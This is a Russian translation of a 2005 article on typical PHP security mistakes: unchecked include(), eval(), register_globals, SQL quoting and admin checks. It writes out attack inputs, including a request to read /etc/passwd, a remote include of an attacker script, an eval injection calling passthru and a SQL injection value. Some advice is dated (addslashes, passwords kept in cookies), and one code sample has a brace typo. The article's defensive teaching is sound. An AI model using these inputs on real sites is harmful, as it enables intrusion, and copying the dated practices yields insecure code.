типичные проблемы с безопасностью PHP-программ

Цель этой статьи - обратить внимание PHP-программистов на общие ошибки безопасности, которые легко допустить в PHP-скриптах. В то время как многое из нижеследующего кажется очевидным, на практике эти вещи нередко попросту забываются. Используя следующие советы, вы убережетесь от подавляющего большинства ошибок безопасности, поразивших громадное количество скриптов. Многие из описываемых ошибок были найдены в широко используемых открытых источниках, а так же в старых коммерческих PHP-скриптах.

Главное, что вы должны усвоить из этой статьи - никогда не позволяйте пользователю вводить что ему вздумается. Именно этим способом было скомпрометировано великое множество скриптов, когда пользователь вводил неожиданные данные, чтобы выявить дыры безопасности, наивно оставленные в коде.

Всегда помните следующие заповеди во время создания вашего скрипта.

1 Никогда не включайте через include() и require() или каким либо другим способом открывайте файл, имя которого основано на пользовательском вводе без тщательной первоначальной проверки.

Взгляните на это:

if(isset($page))
{
include($page);
}

Ввиду того, что никакой проверки $page произведено не было, злой юзер теоретически может вызвать ваш скрипт следующим образом:

script.php?page=/etc/passwd

а, следовательно, заставить ваш скрипт включить файл /etc/passwd с сервера. В таком случае, когда включен или запрошен не PHP-файл, он отобразится как HTML/Text, а не исполнится как PHP-код.
Кроме этого, часто include() и require() могут включать и удаленный файлы. Если злой юзер вызовет ваш скрипт примерно так:

script.php?page=http://mysite.com/zloyscript.php

то сможет заставить zloyscript.php вывести любой PHP-код, который он или она хотят подсунуть в вашу программу. Только представьте, что юзер подсунет код, разрушающий вашу БД или даже пошлет конфиденциальную информацию прямо в браузер.
Решение: прежде всего проверьте введенные данные. Один из способов - создать список доступных страниц. Если введено что-то иное, можно выводить ошибку.

$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Nice Try.");
}

***

2 Поосторожнее с eval().

Передача данных, введенных пользователем, в eval() может быть крайне опасна. По существу, вы даете пользователю возможность выполнить какую вздумается команду! Вы будете уверены, что ввод поступает, например, с выпадающего меню, а на самом деле ваш юзер задумал нечто вроде:
script.php?input=;passthru("cat /etc/paswd");

Засунув свой код в этот оператор, юзер сможет заставить вашу программу полностью вывести файл /etc/passwd. Используйте eval() с умом, и любой ценой проверяйте ввод. Короче, используйте его только в случае крайней необходимости - т.е. в случае динамически генерируемого кода. Если он вам нужен для подстановки значений в темплейты и т.п., то это вы зря... Попробуйте лучше sprintf() или нормальные системы работы с темплейтами.
***

3. Будьте внимательны, используя register_globals = ON.

Такая проблема возникла с тех времен, как используют эти самые register_globals. Изначально все было придумано, чтобы облегчить PHP-программисту жизнь (так и есть), но неправильное использование такой опции ведет к дырам в безопасности. Что касается PHP 4.2.0, так там по умолчанию register_globals=OFF.
Вообще, для работы с вводом рекомендуется использовать superglobals ($_GET, $_POST, $_COOKIE, $_SESSION, и т.д.).
Например, имеется переменная, которая указывает, какую страницу подключить:

include($page);

но вы собираетесь использовать $page как конфиг-файл или что-нибудь еще, не введенное пользователем. Где-нибудь вы забываете определить $page и в случае, если register_globals = ON, злой юзер сможет сделать это за вас, вызывая скрипт следующим образом:

script.php?
page=сайт

Рекомендую вести разработку с register_globals = OFF и использовать superglobals для организации пользовательского ввода. Дополнительно, всегда организовывайте вывод сведений об ошибках, что может быть сделано, например, так (вверху скрипта):

error_reporting(E_ALL);

Таким образом, вы будете получать уведомления о попытке вызова любой переменной, не определенной заранее. Единственное, PHP не требует определять все переменные, поэтому часть сообщений такого рода можно будет игнорировать, но это поможет выловить неопределенные переменные, которые вы не ожидали там увидеть. В предыдущем примере, когда на $page ссылались из include, PHP выдаст сообщение о том, что $page не была определена.
Использовать register_globals или нет - решайте по своему усмотрению, однако убедитесь, что достаточно знаете о преимуществах и недостатках такого подхода, а так же о возможных сопутствующих проблемах и методах борьбы с ними.

***

4. Не выполняйте запросы, не проверяя их на спецсимволы.

По умолчанию, PHP автоматически игнорирует спецсимволы (добавляет спереди бэкслэш), которые могут встретиться на выходе GET, POST или COOKIE. Пример такого автоматически игнорируемого символа - одинарная кавычка. Это сделано для того, чтобы при включении в SQL-запрос введенной переменной не считать кавычку его частью. Допустим, пользователь ввел свое имя и вы выполняете запрос:

UPDATE users SET Name='$name' WHERE ID=1;

В обычной ситуации, если пользователь ввел имя с кавычкой, она будет игнорироваться и MySql получит:

UPDATE users SET Name='Joe\'s' WHERE ID=1

Таким образом, одинарная кавычка в имени "Joe's" не будет считаться частью запроса.
В некоторых случаях, вы будете обрабатывать введенные данные с помощью stripslashes(). Если переменная будет передана в запрос, убедитесь, что перед его выполнением были использованы функции addslashes() или mysql_escape_string(), дабы исключить кавычки. В противном случае, злой юзер сможет ввести часть запроса под видом своего имени!

UPDATE users SET Name='Joe',Admin='1' WHERE ID=1

Всего-то, в поле ввода надо было ввести Joe',Admin='1, и представляете, он или она сможет изменить переменную под названием Admin!
Как ни странно, но иногда встречаются такие настройки, при которых magic_quotes_gpc (автоматическая проверка ввода) просто выключена. Это легко проверить, вызвав функцию get_magic_quotes_gpc(). Если она вернула false, просто используйте addslashes() для правильного разбора введенных данных (рекомендую использовать $_POST, $_GET и $_COOKIE или $HTTP_POST_VARS, $HTTP_GET_VARS и $HTTP_COOKIE_VARS, потому что, используя foreach() можно пробежаться по всем элементам их массивов и обработать каждый из них).

***

5. Для доступа к закрытым частям сайта используйте сессии или проводите верификацию каждый раз.

В некоторых случаях программеры используют login.php для проверки имени пользователя и пароля (введенного в форме), проверки, админ это или просто пользователь. Это просто пишется в cookie или даже передается как скрытые переменные. Далее, в программе выполняется проверка полученной информации следующим образом:

if($admin)
{
// let them in
}
else
{
// kick them out
}


Такой код делает слишком большую ставку на то, что переменная $admin получена через cookie или от источника, который не контролируется гадким юзером. Однако, это далеко не факт. Если включены register_globals, вставить черти-что в $admin не сложнее, чем вызвать скрипт следующим образом:

script.php?admin=1

Более того, если вы используйте superglobals $_COOKIE или $_POST, то злой юзер может с легкостью состряпать и свой собственный cookie или даже собственную HTML-форму, для передачи любых данных в ваш скрипт.
Существует два хороших решения этой проблемы. Одно из них - объявить $admin как переменную сессии. В этом случае, она будет храниться на сервере и подменить ее будет гораздо сложнее. При последующих обращениях к скрипту, предыдущая информация о сессии будет доступна на сервере, и проверить, является ли пользователь администратором, можно следующим образом:

if( $_SESSION['admin'] )

Второе решение заключается в том, чтобы сохранять имя пользователя и пароль в cookie и проводить верификацию каждый раз при обращении к скрипту, для выяснения статуса пользователя. При таком подходе потребуется две функции – скажем, validate_login($username,$password), которая проверяет информацию о пользователе, и is_admin($username), которая обращается к базе, чтобы выяснить, является ли пользователь админом или нет. Этот код следует поместить раньше защищаемых частей скрипта.

if( !validate_login( $_COOKIE['username'], $_COOKIE['password'] ) )
{
echo "Sorry, invalid login";
exit;
}


// С логином все ok, раз уж мы оказались здесь
if( !is_admin( $_COOKIE['username'] ) )
{
echo "Sorry, you do not have access to this section";
exit;
}


От себя добавлю, что использовать сессии поудобнее, так как второе решение плохо масштабируемо.

***

6. Не хочешь показывать содержимое файла? Дай ему расширение .php!

Еще недавно распространенной практикой было именование подключаемых файлов или библиотек с расширением .inc. Тут есть небольшая проблема: если недобросовестный пользователь введет имя такого файла в своем браузере, то получит его содержимое в виде обычного текста, не транслируемого как код PHP. Даже если браузеру придется не по душе тип введенного файла, скорее всего он запросто позволит его сохранить. Представьте, что в таком файле вы храните пароли к базе данных, а то и более интересную информацию. Такой фокус пройдет для любого расширения, для любого, кроме .php (и парочки других), так что даже .conf или .cfg совсем не безопасны.
Решение - добавить расширение .php в самый конец. Подключая файлы с переменными и/или функциями, не предназначенными для вывода чего-либо, пользователь не получит ровным счетом ничего (правда это не касается lib.inc.php) после ввода в браузере строчки вроде:
сайтВ крайнем случае, файл будет исполнен, как код PHP, вместо того, чтобы просто выдать ваши исходники. Еще есть пару отзывов от людей, которые сконфигурировали Apache так, чтобы он сам запрещал показ inc-файлов; однако, я бы не рекомендовал так делать, так как это сказывается на переносимости. Если вы полагаетесь на inc-файлы и диррективы Apache, а потом, в один прекрасный день перебираетесь на другой сервер, то забудь вы сконфигурироваться по старому - станете полностью беззащитны.



Dave Clark, перевод Александра Полоневича.¶


Сетевые решения. Статья была опубликована в номере 04 за 2005 год в рубрике программирование

©1999-2024 Сетевые решения